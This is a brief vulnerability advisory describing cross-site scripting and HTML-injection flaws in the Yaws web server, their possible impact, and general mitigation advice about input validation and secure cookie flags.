Yaws Multiple Cross-Site Scripting and HTML-Injection Vulnerabilities

Yaws is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are possible.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate dynamic content. Additionally, applications should use a secure flag when setting cookies.
